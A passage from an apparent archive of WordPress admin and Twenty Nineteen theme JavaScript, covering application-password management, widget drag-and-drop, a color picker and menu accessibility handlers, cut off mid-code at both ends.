a=p.val(),o=t('input[name="app_id"]',n).val();e.preventDefault(),r.prop("aria-disabled")||(0===a.length?p.trigger("focus"):(r.prop("aria-disabled",!0).addClass("disabled"),e={name:a},0<o.length&&(e.app_id=o),e=wp.hooks.applyFilters("wp_application_passwords_approve_app_request",e,i),wp.apiRequest({path:"/wp/v2/users/me/application-passwords?_locale=user",method:"POST",data:e}).done(function(e,a,o){wp.hooks.doAction("wp_application_passwords_approve_app_request_success",e,a,o);var a=s.success;a?(o=a+(-1===a.indexOf("?")?"?":"&")+"site_url="+encodeURIComponent(s.site_url)+"&user_login="+encodeURIComponent(s.user_login)+"&password="+encodeURIComponent(e.password),window.location=o):(a=wp.i18n.sprintf('<label for="new-application-password-value">'+wp.i18n.__("Your new password for %s is:")+"</label>","<strong></strong>")+' <input id="new-application-password-value" type="text" class="code" readonly="readonly" value="" />',o=t("<div></div>").attr("role","alert").attr("tabindex",-1).addClass("notice notice-success notice-alt").append(t("<p></p>").addClass("application-password-display").html(a)).append("<p>"+wp.i18n.__("Be sure to save this in a safe location. You will not be able to retrieve it.")+"</p>"),t("strong",o).text(e.name),t("input",o).val(e.password),n.replaceWith(o),o.trigger("focus"))}).fail(function(e,a,o){var s=o,p=null,s=(e.responseJSON&&(p=e.responseJSON).message&&(s=p.message),t("<div></div>").attr("role","alert").addClass("notice notice-error").append(t("<p></p>").text(s)));t("h1").after(s),r.removeProp("aria-disabled",!1).removeClass("disabled"),wp.hooks.doAction("wp_application_passwords_approve_app_request_error",p,a,o,e)})))}),e.on("click",function(e){e.preventDefault(),wp.hooks.doAction("wp_application_passwords_reject_app",i),window.location=s.reject}),n.on("submit",function(e){e.preventDefault()})}(jQuery,authApp); widgets.min.js 0000644 00000030501 15222552267 0007341 0 ustar 00 /*! This file is auto-generated */ !function(w){var l=w(document);window.wpWidgets={hoveredSidebar:null,dirtyWidgets:{},init:function(){var r,o,g=this,d=w(".widgets-chooser"),s=d.find(".widgets-chooser-sidebars"),e=w("div.widgets-sortables"),c=!("undefined"==typeof isRtl||!isRtl);w("#widgets-right .sidebar-name").on("click",function(){var e=w(this),i=e.closest(".widgets-holder-wrap "),t=e.find(".handlediv");i.hasClass("closed")?(i.removeClass("closed"),t.attr("aria-expanded","true"),e.parent().sortable("refresh")):(i.addClass("closed"),t.attr("aria-expanded","false")),l.triggerHandler("wp-pin-menu")}).find(".handlediv").each(function(e){0!==e&&w(this).attr("aria-expanded","false")}),w(window).on("beforeunload.widgets",function(e){var i,t=[];if(w.each(g.dirtyWidgets,function(e,i){i&&t.push(e)}),0!==t.length)return(i=w("#widgets-right").find(".widget").filter(function(){return-1!==t.indexOf(w(this).prop("id").replace(/^widget-\d+_/,""))})).each(function(){w(this).hasClass("open")||w(this).find(".widget-title-action:first").trigger("click")}),i.first().each(function(){this.scrollIntoViewIfNeeded?this.scrollIntoViewIfNeeded():this.scrollIntoView(),w(this).find(".widget-inside :tabbable:first").trigger("focus")}),e.returnValue=wp.i18n.__("The changes you made will be lost if you navigate away from this page."),e.returnValue}),w("#widgets-left .sidebar-name").on("click",function(){var e=w(this).closest(".widgets-holder-wrap");e.toggleClass("closed").find(".handlediv").attr("aria-expanded",!e.hasClass("closed")),l.triggerHandler("wp-pin-menu")}),w(document.body).on("click.widgets-toggle",function(e){var i,t,d,a,s,n,r=w(e.target),o={},l=r.closest(".widget").find(".widget-top button.widget-action");r.parents(".widget-top").length&&!r.parents("#available-widgets").length?(t=(i=r.closest("div.widget")).children(".widget-inside"),d=parseInt(i.find("input.widget-width").val(),10),a=i.parent().width(),n=t.find(".widget-id").val(),i.data("dirty-state-initialized")||((s=t.find(".widget-control-save")).prop("disabled",!0).val(wp.i18n.__("Saved")),t.on("input change",function(){g.dirtyWidgets[n]=!0,i.addClass("widget-dirty"),s.prop("disabled",!1).val(wp.i18n.__("Save"))}),i.data("dirty-state-initialized",!0)),t.is(":hidden")?(250<d&&a<d+30&&i.closest("div.widgets-sortables").length&&(o[i.closest("div.widget-liquid-right").length?c?"margin-right":"margin-left":c?"margin-left":"margin-right"]=a-(d+30)+"px",i.css(o)),l.attr("aria-expanded","true"),t.slideDown("fast",function(){i.addClass("open")})):(l.attr("aria-expanded","false"),t.slideUp("fast",function(){i.attr("style",""),i.removeClass("open")}))):r.hasClass("widget-control-save")?(wpWidgets.save(r.closest("div.widget"),0,1,0),e.preventDefault()):r.hasClass("widget-control-remove")?wpWidgets.save(r.closest("div.widget"),1,1,0):r.hasClass("widget-control-close")?((i=r.closest("div.widget")).removeClass("open"),l.attr("aria-expanded","false"),wpWidgets.close(i)):"inactive-widgets-control-remove"===r.attr("id")&&(wpWidgets.removeInactiveWidgets(),e.preventDefault())}),e.children(".widget").each(function(){var e=w(this);wpWidgets.appendTitle(this),e.find("p.widget-error").length&&e.find(".widget-action").trigger("click").attr("aria-expanded","true")}),w("#widget-list").children(".widget").draggable({connectToSortable:"div.widgets-sortables",handle:"> .widget-top > .widget-title",distance:2,helper:"clone",zIndex:101,containment:"#wpwrap",refreshPositions:!0,start:function(e,i){var t=w(this).find(".widgets-chooser");i.helper.find("div.widget-description").hide(),o=this.id,t.length&&(w("#wpbody-content").append(t.hide()),i.helper.find(".widgets-chooser").remove(),g.clearWidgetSelection())},stop:function(){r&&w(r).hide(),r=""}}),e.droppable({tolerance:"intersect",over:function(e){var i=w(e.target).parent();wpWidgets.hoveredSidebar&&!i.is(wpWidgets.hoveredSidebar)&&wpWidgets.closeSidebar(e),i.hasClass("closed")&&(wpWidgets.hoveredSidebar=i).removeClass("closed").find(".handlediv").attr("aria-expanded","true"),w(this).sortable("refresh")},out:function(e){wpWidgets.hoveredSidebar&&wpWidgets.closeSidebar(e)}}),e.sortable({placeholder:"widget-placeholder",items:"> .widget",handle:"> .widget-top > .widget-title",cursor:"move",distance:2,containment:"#wpwrap",tolerance:"pointer",refreshPositions:!0,start:function(e,i){var t=w(this),d=t.parent(),a=i.item.children(".widget-inside");"block"===a.css("display")&&(i.item.removeClass("open"),i.item.find(".widget-top button.widget-action").attr("aria-expanded","false"),a.hide(),w(this).sortable("refreshPositions")),d.hasClass("closed")||(a=i.item.hasClass("ui-draggable")?t.height():1+t.height(),t.css("min-height",a+"px"))},stop:function(e,i){var t,d,a,s,i=i.item,n=o;wpWidgets.hoveredSidebar=null,i.hasClass("deleting")?(wpWidgets.save(i,1,0,1),i.remove()):(t=i.find("input.add_new").val(),d=i.find("input.multi_number").val(),i.attr("style","").removeClass("ui-draggable"),o="",t&&("multi"===t?(i.html(i.html().replace(/<[^<>]+>/g,function(e){return e.replace(/__i__|%i%/g,d)})),i.attr("id",n.replace("__i__",d)),d++,w("div#"+n).find("input.multi_number").val(d)):"single"===t&&(i.attr("id","new-"+n),r="div#"+n),wpWidgets.save(i,0,0,1),i.find("input.add_new").val(""),l.trigger("widget-added",[i])),(n=i.parent()).parent().hasClass("closed")&&(n.parent().removeClass("closed").find(".handlediv").attr("aria-expanded","true"),1<(a=n.children(".widget")).length)&&(a=a.get(0),s=i.get(0),a.id)&&s.id&&a.id!==s.id&&w(a).before(i),t?i.find(".widget-action").trigger("click"):wpWidgets.saveOrder(n.attr("id")))},activate:function(){w(this).parent().addClass("widget-hover")},deactivate:function(){w(this).css("min-height","").parent().removeClass("widget-hover")},receive:function(e,i){i=w(i.sender);-1<this.id.indexOf("orphaned_widgets")?i.sortable("cancel"):-1<i.attr("id").indexOf("orphaned_widgets")&&!i.children(".widget").length&&i.parents(".orphan-sidebar").slideUp(400,function(){w(this).remove()})}}).sortable("option","connectWith","div.widgets-sortables"),w("#available-widgets").droppable({tolerance:"pointer",accept:function(e){return"widget-list"!==w(e).parent().attr("id")},drop:function(e,i){i.draggable.addClass("deleting"),w("#removing-widget").hide().children("span").empty()},over:function(e,i){i.draggable.addClass("deleting"),w("div.widget-placeholder").hide(),i.draggable.hasClass("ui-sortable-helper")&&w("#removing-widget").show().children("span").html(i.draggable.find("div.widget-title").children("h3").html())},out:function(e,i){i.draggable.removeClass("deleting"),w("div.widget-placeholder").show(),w("#removing-widget").hide().children("span").empty()}}),w("#widgets-right .widgets-holder-wrap").each(function(e,i){var i=w(i),t=i.find(".sidebar-name h2").text()||"",d=i.find(".sidebar-name").data("add-to"),i=i.find(".widgets-sortables").attr("id"),a=w("<li>"),d=w("<button>",{type:"button","aria-pressed":"false",class:"widgets-chooser-button","aria-label":d}).text(t.toString().trim());a.append(d),0===e&&(a.addClass("widgets-chooser-selected"),d.attr("aria-pressed","true")),s.append(a),a.data("sidebarId",i)}),w("#available-widgets .widget .widget-top").on("click.widgets-chooser",function(){var e=w(this).closest(".widget"),i=w(this).find(".widget-action"),t=s.find(".widgets-chooser-button");e.hasClass("widget-in-question")||w("#widgets-left").hasClass("chooser")?(i.attr("aria-expanded","false"),g.closeChooser()):(g.clearWidgetSelection(),w("#widgets-left").addClass("chooser"),e.addClass("widget-in-question").children(".widget-description").after(d),d.slideDown(300,function(){i.attr("aria-expanded","true")}),t.on("click.widgets-chooser",function(){s.find(".widgets-chooser-selected").removeClass("widgets-chooser-selected"),t.attr("aria-pressed","false"),w(this).attr("aria-pressed","true").closest("li").addClass("widgets-chooser-selected")}))}),d.on("click.widgets-chooser",function(e){e=w(e.target);e.hasClass("button-primary")?(g.addWidget(d),g.closeChooser()):e.hasClass("widgets-chooser-cancel")&&g.closeChooser()}).on("keyup.widgets-chooser",function(e){e.which===w.ui.keyCode.ESCAPE&&g.closeChooser()})},saveOrder:function(e){var i={action:"widgets-order",savewidgets:w("#_wpnonce_widgets").val(),sidebars:[]};e&&w("#"+e).find(".spinner:first").addClass("is-active"),w("div.widgets-sortables").each(function(){w(this).sortable&&(i["sidebars["+w(this).attr("id")+"]"]=w(this).sortable("toArray").join(","))}),w.post(ajaxurl,i,function(){w("#inactive-widgets-control-remove").prop("disabled",!w("#wp_inactive_widgets .widget").length),w(".spinner").removeClass("is-active")})},save:function(t,d,a,s){var n=this,r=t.closest("div.widgets-sortables").attr("id"),e=t.find("form"),i=t.find("input.add_new").val();(d||i||!e.prop("checkValidity")||e[0].checkValidity())&&(i=e.serialize(),t=w(t),w(".spinner",t).addClass("is-active"),e={action:"save-widget",savewidgets:w("#_wpnonce_widgets").val(),sidebar:r},d&&(e.delete_widget=1),i+="&"+w.param(e),w.post(ajaxurl,i,function(e){var i=w("input.widget-id",t).val();d?(w("input.widget_number",t).val()||w("#available-widgets").find("input.widget-id").each(function(){w(this).val()===i&&w(this).closest("div.widget").show()}),a?(s=0,t.slideUp("fast",function(){w(this).remove(),wpWidgets.saveOrder(),delete n.dirtyWidgets[i]})):(t.remove(),delete n.dirtyWidgets[i],"wp_inactive_widgets"===r&&w("#inactive-widgets-control-remove").prop("disabled",!w("#wp_inactive_widgets .widget").length))):(w(".spinner").removeClass("is-active"),e&&2<e.length&&(w("div.widget-content",t).html(e),wpWidgets.appendTitle(t),t.find(".widget-control-save").prop("disabled",!0).val(wp.i18n.__("Saved")),t.removeClass("widget-dirty"),delete n.dirtyWidgets[i],l.trigger("widget-updated",[t]),"wp_inactive_widgets"===r)&&w("#inactive-widgets-control-remove").prop("disabled",!w("#wp_inactive_widgets .widget").length)),s&&wpWidgets.saveOrder()}))},removeInactiveWidgets:function(){var e,i=w(".remove-inactive-widgets"),t=this;w(".spinner",i).addClass("is-active"),e={action:"delete-inactive-widgets",removeinactivewidgets:w("#_wpnonce_remove_inactive_widgets").val()},e=w.param(e),w.post(ajaxurl,e,function(){w("#wp_inactive_widgets .widget").each(function(){var e=w(this);delete t.dirtyWidgets[e.find("input.widget-id").val()],e.remove()}),w("#inactive-widgets-control-remove").prop("disabled",!0),w(".spinner",i).removeClass("is-active")})},appendTitle:function(e){var i=(i=w('input[id*="-title"]',e).val()||"")&&": "+i.replace(/<[^<>]+>/g,"").replace(/</g,"<").replace(/>/g,">");w(e).children(".widget-top").children(".widget-title").children().children(".in-widget-title").html(i)},close:function(e){e.children(".widget-inside").slideUp("fast",function(){e.attr("style","").find(".widget-top button.widget-action").attr("aria-expanded","false").focus()})},addWidget:function(e){var i,e=e.find(".widgets-chooser-selected").data("sidebarId"),e=w("#"+e),t=w("#available-widgets").find(".widget-in-question").clone(),d=t.attr("id"),a=t.find("input.add_new").val(),s=t.find("input.multi_number").val();t.find(".widgets-chooser").remove(),"multi"===a?(t.html(t.html().replace(/<[^<>]+>/g,function(e){return e.replace(/__i__|%i%/g,s)})),t.attr("id",d.replace("__i__",s)),s++,w("#"+d).find("input.multi_number").val(s)):"single"===a&&(t.attr("id","new-"+d),w("#"+d).hide()),e.closest(".widgets-holder-wrap").removeClass("closed").find(".handlediv").attr("aria-expanded","true"),e.append(t),e.sortable("refresh"),wpWidgets.save(t,0,0,1),t.find("input.add_new").val(""),l.trigger("widget-added",[t]),d=(a=w(window).scrollTop())+w(window).height(),(i=e.offset()).bottom=i.top+e.outerHeight(),(a>i.bottom||d<i.top)&&w("html, body").animate({scrollTop:i.top-130},200),window.setTimeout(function(){t.find(".widget-title").trigger("click"),window.wp.a11y.speak(wp.i18n.__("Widget has been added to the selected sidebar"),"assertive")},250)},closeChooser:function(){var e=this,i=w("#available-widgets .widget-in-question");w(".widgets-chooser").slideUp(200,function(){w("#wpbody-content").append(this),e.clearWidgetSelection(),i.find(".widget-action").attr("aria-expanded","false").focus()})},clearWidgetSelection:function(){w("#widgets-left").removeClass("chooser"),w(".widget-in-question").removeClass("widget-in-question")},closeSidebar:function(e){this.hoveredSidebar.addClass("closed").find(".handlediv").attr("aria-expanded","false"),w(e.target).css("min-height",""),this.hoveredSidebar=null}},w(function(){wpWidgets.init()})}(jQuery),wpWidgets.l10n=wpWidgets.l10n||{save:"",saved:"",saveAlert:"",widgetAdded:""},wpWidgets.l10n=window.wp.deprecateL10nObject("wpWidgets.l10n",wpWidgets.l10n,"5.5.0"); application-passwords.js 0000644 00000014372 15222552267 0011447 0 ustar 00 /** * @output wp-admin/js/application-passwords.js */ ( function( $ ) { var $appPassSection = $( '#application-passwords-section' ), $newAppPassForm = $appPassSection.find( '.create-application-password' ), $newAppPassField = $newAppPassForm.find( '.input' ), $newAppPassButton = $newAppPassForm.find( '.button' ), $appPassTwrapper = $appPassSection.find( '.application-passwords-list-table-wrapper' ), $appPassTbody = $appPassSection.find( 'tbody' ), $appPassTrNoItems = $appPassTbody.find( '.no-items' ), $removeAllBtn = $( '#revoke-all-application-passwords' ), tmplNewAppPass = wp.template( 'new-application-password' ), tmplAppPassRow = wp.template( 'application-password-row' ), userId = $( '#user_id' ).val(); $newAppPassButton.on( 'click', function( e ) { e.preventDefault(); if ( $newAppPassButton.prop( 'aria-disabled' ) ) { return; } var name = $newAppPassField.val(); if ( 0 === name.length ) { $newAppPassField.trigger( 'focus' ); return; } clearNotices(); $newAppPassButton.prop( 'aria-disabled', true ).addClass( 'disabled' ); var request = { name: name }; /** * Filters the request data used to create a new Application Password. * * @since 5.6.0 * * @param {Object} request The request data. * @param {number} userId The id of the user the password is added for. */ request = wp.hooks.applyFilters( 'wp_application_passwords_new_password_request', request, userId ); wp.apiRequest( { path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user', method: 'POST', data: request } ).always( function() { $newAppPassButton.removeProp( 'aria-disabled' ).removeClass( 'disabled' ); } ).done( function( response ) { $newAppPassField.val( '' ); $newAppPassButton.prop( 'disabled', false ); $newAppPassForm.after( tmplNewAppPass( { name: response.name, password: response.password } ) ); $( '.new-application-password-notice' ).attr( 'tabindex', '-1' ).trigger( 'focus' ); $appPassTbody.prepend( tmplAppPassRow( response ) ); $appPassTwrapper.show(); $appPassTrNoItems.remove(); /** * Fires after an application password has been successfully created. * * @since 5.6.0 * * @param {Object} response The response data from the REST API. * @param {Object} request The request data used to create the password. */ wp.hooks.doAction( 'wp_application_passwords_created_password', response, request ); } ).fail( handleErrorResponse ); } ); $appPassTbody.on( 'click', '.delete', function( e ) { e.preventDefault(); if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke this password? This action cannot be undone.' ) ) ) { return; } var $submitButton = $( this ), $tr = $submitButton.closest( 'tr' ), uuid = $tr.data( 'uuid' ); clearNotices(); $submitButton.prop( 'disabled', true ); wp.apiRequest( { path: '/wp/v2/users/' + userId + '/application-passwords/' + uuid + '?_locale=user', method: 'DELETE' } ).always( function() { $submitButton.prop( 'disabled', false ); } ).done( function( response ) { if ( response.deleted ) { if ( 0 === $tr.siblings().length ) { $appPassTwrapper.hide(); } $tr.remove(); addNotice( wp.i18n.__( 'Application password revoked.' ), 'success' ).trigger( 'focus' ); } } ).fail( handleErrorResponse ); } ); $removeAllBtn.on( 'click', function( e ) { e.preventDefault(); if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke all passwords? This action cannot be undone.' ) ) ) { return; } var $submitButton = $( this ); clearNotices(); $submitButton.prop( 'disabled', true ); wp.apiRequest( { path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user', method: 'DELETE' } ).always( function() { $submitButton.prop( 'disabled', false ); } ).done( function( response ) { if ( response.deleted ) { $appPassTbody.children().remove(); $appPassSection.children( '.new-application-password' ).remove(); $appPassTwrapper.hide(); addNotice( wp.i18n.__( 'All application passwords revoked.' ), 'success' ).trigger( 'focus' ); } } ).fail( handleErrorResponse ); } ); $appPassSection.on( 'click', '.notice-dismiss', function( e ) { e.preventDefault(); var $el = $( this ).parent(); $el.removeAttr( 'role' ); $el.fadeTo( 100, 0, function () { $el.slideUp( 100, function () { $el.remove(); $newAppPassField.trigger( 'focus' ); } ); } ); } ); $newAppPassField.on( 'keypress', function ( e ) { if ( 13 === e.which ) { e.preventDefault(); $newAppPassButton.trigger( 'click' ); } } ); // If there are no items, don't display the table yet. If there are, show it. if ( 0 === $appPassTbody.children( 'tr' ).not( $appPassTrNoItems ).length ) { $appPassTwrapper.hide(); } /** * Handles an error response from the REST API. * * @since 5.6.0 * * @param {jqXHR} xhr The XHR object from the ajax call. * @param {string} textStatus The string categorizing the ajax request's status. * @param {string} errorThrown The HTTP status error text. */ function handleErrorResponse( xhr, textStatus, errorThrown ) { var errorMessage = errorThrown; if ( xhr.responseJSON && xhr.responseJSON.message ) { errorMessage = xhr.responseJSON.message; } addNotice( errorMessage, 'error' ); } /** * Displays a message in the Application Passwords section. * * @since 5.6.0 * * @param {string} message The message to display. * @param {string} type The notice type. Either 'success' or 'error'. * @returns {jQuery} The notice element. */ function addNotice( message, type ) { var $notice = $( '<div></div>' ) .attr( 'role', 'alert' ) .attr( 'tabindex', '-1' ) .addClass( 'is-dismissible notice notice-' + type ) .append( $( '<p></p>' ).text( message ) ) .append( $( '<button></button>' ) .attr( 'type', 'button' ) .addClass( 'notice-dismiss' ) .append( $( '<span></span>' ).addClass( 'screen-reader-text' ).text( wp.i18n.__( 'Dismiss this notice.' ) ) ) ); $newAppPassForm.after( $notice ); return $notice; } /** * Clears notice messages from the Application Passwords section. * * @since 5.6.0 */ function clearNotices() { $( '.notice', $appPassSection ).remove(); } }( jQuery ) ); color-picker.min.js 0000644 00000006636 15222552267 0010300 0 ustar 00 /*! This file is auto-generated */ !function(i,t){var a=wp.i18n.__;i.widget("wp.wpColorPicker",{options:{defaultColor:!1,change:!1,clear:!1,hide:!0,palettes:!0,width:255,mode:"hsv",type:"full",slider:"horizontal"},_createHueOnly:function(){var e,o=this,t=o.element;t.hide(),e="hsl("+t.val()+", 100, 50)",t.iris({mode:"hsl",type:"hue",hide:!1,color:e,change:function(e,t){"function"==typeof o.options.change&&o.options.change.call(this,e,t)},width:o.options.width,slider:o.options.slider})},_create:function(){if(i.support.iris){var o=this,e=o.element;if(i.extend(o.options,e.data()),"hue"===o.options.type)return o._createHueOnly();o.close=o.close.bind(o),o.initialValue=e.val(),e.addClass("wp-color-picker"),e.parent("label").length||(e.wrap("<label></label>"),o.wrappingLabelText=i('<span class="screen-reader-text"></span>').insertBefore(e).text(a("Color value"))),o.wrappingLabel=e.parent(),o.wrappingLabel.wrap('<div class="wp-picker-container" />'),o.wrap=o.wrappingLabel.parent(),o.toggler=i('<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>').insertBefore(o.wrappingLabel).css({backgroundColor:o.initialValue}),o.toggler.find(".wp-color-result-text").text(a("Select Color")),o.pickerContainer=i('<div class="wp-picker-holder" />').insertAfter(o.wrappingLabel),o.button=i('<input type="button" class="button button-small" />'),o.options.defaultColor?o.button.addClass("wp-picker-default").val(a("Default")).attr("aria-label",a("Select default color")):o.button.addClass("wp-picker-clear").val(a("Clear")).attr("aria-label",a("Clear color")),o.wrappingLabel.wrap('<span class="wp-picker-input-wrap hidden" />').after(o.button),o.inputWrapper=e.closest(".wp-picker-input-wrap"),e.iris({target:o.pickerContainer,hide:o.options.hide,width:o.options.width,mode:o.options.mode,palettes:o.options.palettes,change:function(e,t){o.toggler.css({backgroundColor:t.color.toString()}),"function"==typeof o.options.change&&o.options.change.call(this,e,t)}}),e.val(o.initialValue),o._addListeners(),o.options.hide||o.toggler.click()}},_addListeners:function(){var o=this;o.wrap.on("click.wpcolorpicker",function(e){e.stopPropagation()}),o.toggler.on("click",function(){o.toggler.hasClass("wp-picker-open")?o.close():o.open()}),o.element.on("change",function(e){var t=i(this).val();""!==t&&"#"!==t||(o.toggler.css("backgroundColor",""),"function"==typeof o.options.clear&&o.options.clear.call(this,e))}),o.button.on("click",function(e){var t=i(this);t.hasClass("wp-picker-clear")?(o.element.val(""),o.toggler.css("backgroundColor",""),"function"==typeof o.options.clear&&o.options.clear.call(this,e)):t.hasClass("wp-picker-default")&&o.element.val(o.options.defaultColor).change()})},open:function(){this.element.iris("toggle"),this.inputWrapper.removeClass("hidden"),this.wrap.addClass("wp-picker-active"),this.toggler.addClass("wp-picker-open").attr("aria-expanded","true"),i("body").trigger("click.wpcolorpicker").on("click.wpcolorpicker",this.close)},close:function(){this.element.iris("toggle"),this.inputWrapper.addClass("hidden"),this.wrap.removeClass("wp-picker-active"),this.toggler.removeClass("wp-picker-open").attr("aria-expanded","false"),i("body").off("click.wpcolorpicker",this.close)},color:function(e){if(e===t)return this.element.iris("option","color");this.element.iris("option","color",e)},defaultColor:function(e){if(e===t)return this.options.defaultColor;this.options.defaultColor=e}})}(jQuery); skip-link-focus-fix.js 0000644 00000001432 15222574066 0010715 0 ustar 00 /** * File skip-link-focus-fix.js. * * Helps with accessibility for keyboard only users. * * This is the source file for what is minified in the twentynineteen_skip_link_focus_fix() PHP function. * * Learn more: https://git.io/vWdr2 */ ( function() { var isIe = /(trident|msie)/i.test( navigator.userAgent ); if ( isIe && document.getElementById && window.addEventListener ) { window.addEventListener( 'hashchange', function() { var id = location.hash.substring( 1 ), element; if ( ! ( /^[A-z0-9_-]+$/.test( id ) ) ) { return; } element = document.getElementById( id ); if ( element ) { if ( ! ( /^(?:a|select|input|button|textarea)$/i.test( element.tagName ) ) ) { element.tabIndex = -1; } element.focus(); } }, false ); } } )(); customize-preview.js 0000644 00000003215 15222574066 0010615 0 ustar 00 /** * File customize-preview.js. * * Theme Customizer enhancements for a better user experience. * * Contains handlers to make Theme Customizer preview reload changes asynchronously. */ (function( $ ) { // Primary color. wp.customize( 'primary_color', function( value ) { value.bind( function( to ) { // Update custom color CSS. var style = $( '#custom-theme-colors' ), hue = style.data( 'hue' ), css = style.html(), color; if( 'custom' === to ){ // If a custom primary color is selected, use the currently set primary_color_hue. color = wp.customize.get().primary_color_hue; } else { // If the "default" option is selected, get the default primary_color_hue. color = 199; } // Equivalent to css.replaceAll, with hue followed by comma to prevent values with units from being changed. css = css.split( hue + ',' ).join( color + ',' ); style.html( css ).data( 'hue', color ); }); }); // Primary color hue. wp.customize( 'primary_color_hue', function( value ) { value.bind( function( to ) { // Update custom color CSS. var style = $( '#custom-theme-colors' ), hue = style.data( 'hue' ), css = style.html(); // Equivalent to css.replaceAll, with hue followed by comma to prevent values with units from being changed. css = css.split( hue + ',' ).join( to + ',' ); style.html( css ).data( 'hue', to ); }); }); // Image filter. wp.customize( 'image_filter', function( value ) { value.bind( function( to ) { if ( to ) { $( 'body' ).addClass( 'image-filters-enabled' ); } else { $( 'body' ).removeClass( 'image-filters-enabled' ); } } ); } ); })( jQuery ); touch-keyboard-navigation.js 0000644 00000022437 15222574066 0012200 0 ustar 00 /** * Touch & Keyboard navigation. * * Contains handlers for touch devices and keyboard navigation. */ (function() { /** * Debounce. * * @param {Function} func * @param {number} wait * @param {boolean} immediate */ function debounce(func, wait, immediate) { 'use strict'; var timeout; wait = (typeof wait !== 'undefined') ? wait : 20; immediate = (typeof immediate !== 'undefined') ? immediate : true; return function() { var context = this, args = arguments; var later = function() { timeout = null; if (!immediate) { func.apply(context, args); } }; var callNow = immediate && !timeout; clearTimeout(timeout); timeout = setTimeout(later, wait); if (callNow) { func.apply(context, args); } }; } /** * Add class. * * @param {Object} el * @param {string} cls */ function addClass(el, cls) { if ( ! el.className.match( '(?:^|\\s)' + cls + '(?!\\S)') ) { el.className += ' ' + cls; } } /** * Delete class. * * @param {Object} el * @param {string} cls */ function deleteClass(el, cls) { el.className = el.className.replace( new RegExp( '(?:^|\\s)' + cls + '(?!\\S)' ),'' ); } /** * Has class? * * @param {Object} el * @param {string} cls * * @returns {boolean} Has class */ function hasClass(el, cls) { if ( el.className.match( '(?:^|\\s)' + cls + '(?!\\S)' ) ) { return true; } } /** * Toggle Aria Expanded state for screenreaders. * * @param {Object} ariaItem */ function toggleAriaExpandedState( ariaItem ) { 'use strict'; var ariaState = ariaItem.getAttribute('aria-expanded'); if ( ariaState === 'true' ) { ariaState = 'false'; } else { ariaState = 'true'; } ariaItem.setAttribute('aria-expanded', ariaState); } /** * Open sub-menu. * * @param {Object} currentSubMenu */ function openSubMenu( currentSubMenu ) { 'use strict'; // Update classes. // classList.add is not supported in IE11. currentSubMenu.parentElement.className += ' off-canvas'; currentSubMenu.parentElement.lastElementChild.className += ' expanded-true'; // Update aria-expanded state. toggleAriaExpandedState( currentSubMenu ); } /** * Close sub-menu. * * @param {Object} currentSubMenu */ function closeSubMenu( currentSubMenu ) { 'use strict'; var menuItem = getCurrentParent( currentSubMenu, '.menu-item' ); // this.parentNode var menuItemAria = menuItem.querySelector('a[aria-expanded]'); var subMenu = currentSubMenu.closest('.sub-menu'); // If this is in a sub-sub-menu, go back to parent sub-menu. if ( getCurrentParent( currentSubMenu, 'ul' ).classList.contains( 'sub-menu' ) ) { // Update classes. // classList.remove is not supported in IE11. menuItem.className = menuItem.className.replace( 'off-canvas', '' ); subMenu.className = subMenu.className.replace( 'expanded-true', '' ); // Update aria-expanded and :focus states. toggleAriaExpandedState( menuItemAria ); // Or else close all sub-menus. } else { // Update classes. // classList.remove is not supported in IE11. menuItem.className = menuItem.className.replace( 'off-canvas', '' ); menuItem.lastElementChild.className = menuItem.lastElementChild.className.replace( 'expanded-true', '' ); // Update aria-expanded and :focus states. toggleAriaExpandedState( menuItemAria ); } } /** * Find first ancestor of an element by selector. * * @param {Object} child * @param {String} selector * @param {String} stopSelector */ function getCurrentParent( child, selector, stopSelector ) { var currentParent = null; while ( child ) { if ( child.matches(selector) ) { currentParent = child; break; } else if ( stopSelector && child.matches(stopSelector) ) { break; } child = child.parentElement; } return currentParent; } /** * Remove all off-canvas states. */ function removeAllFocusStates() { 'use strict'; var siteBranding = document.getElementsByClassName( 'site-branding' )[0]; var getFocusedElements = siteBranding.querySelectorAll(':hover, :focus, :focus-within'); var getFocusedClassElements = siteBranding.querySelectorAll('.is-focused'); var i; var o; for ( i = 0; i < getFocusedElements.length; i++) { getFocusedElements[i].blur(); } for ( o = 0; o < getFocusedClassElements.length; o++) { deleteClass( getFocusedClassElements[o], 'is-focused' ); } } /** * Matches polyfill for IE11. */ if (!Element.prototype.matches) { Element.prototype.matches = Element.prototype.msMatchesSelector; } /** * Toggle `focus` class to allow sub-menu access on touch screens. */ function toggleSubmenuDisplay() { document.addEventListener('touchstart', function(event) { if ( event.target.matches('a') ) { var url = event.target.getAttribute( 'href' ) ? event.target.getAttribute( 'href' ) : ''; // Open submenu if URL is #. if ( '#' === url && event.target.nextSibling.matches('.submenu-expand') ) { openSubMenu( event.target ); } } // Check if .submenu-expand is touched. if ( event.target.matches('.submenu-expand') ) { openSubMenu(event.target); // Check if child of .submenu-expand is touched. } else if ( null != getCurrentParent( event.target, '.submenu-expand' ) && getCurrentParent( event.target, '.submenu-expand' ).matches( '.submenu-expand' ) ) { openSubMenu( getCurrentParent( event.target, '.submenu-expand' ) ); // Check if .menu-item-link-return is touched. } else if ( event.target.matches('.menu-item-link-return') ) { closeSubMenu( event.target ); // Check if child of .menu-item-link-return is touched. } else if ( null != getCurrentParent( event.target, '.menu-item-link-return' ) && getCurrentParent( event.target, '.menu-item-link-return' ).matches( '.menu-item-link-return' ) ) { closeSubMenu( event.target ); } // Prevent default mouse/focus events. removeAllFocusStates(); }, false); document.addEventListener('touchend', function(event) { var mainNav = getCurrentParent( event.target, '.main-navigation' ); if ( null != mainNav && hasClass( mainNav, '.main-navigation' ) ) { // Prevent default mouse events. event.preventDefault(); } else if ( event.target.matches('.submenu-expand') || null != getCurrentParent( event.target, '.submenu-expand' ) && getCurrentParent( event.target, '.submenu-expand' ).matches( '.submenu-expand' ) || event.target.matches('.menu-item-link-return') || null != getCurrentParent( event.target, '.menu-item-link-return' ) && getCurrentParent( event.target, '.menu-item-link-return' ).matches( '.menu-item-link-return' ) ) { // Prevent default mouse events. event.preventDefault(); } // Prevent default mouse/focus events. removeAllFocusStates(); }, false); document.addEventListener('focus', function(event) { if ( event.target !== window.document && event.target.matches( '.main-navigation > div > ul > li a' ) ) { // Remove Focused elements in sibling div. var currentDiv = getCurrentParent( event.target, 'div', '.main-navigation' ); var currentDivSibling = currentDiv.previousElementSibling === null 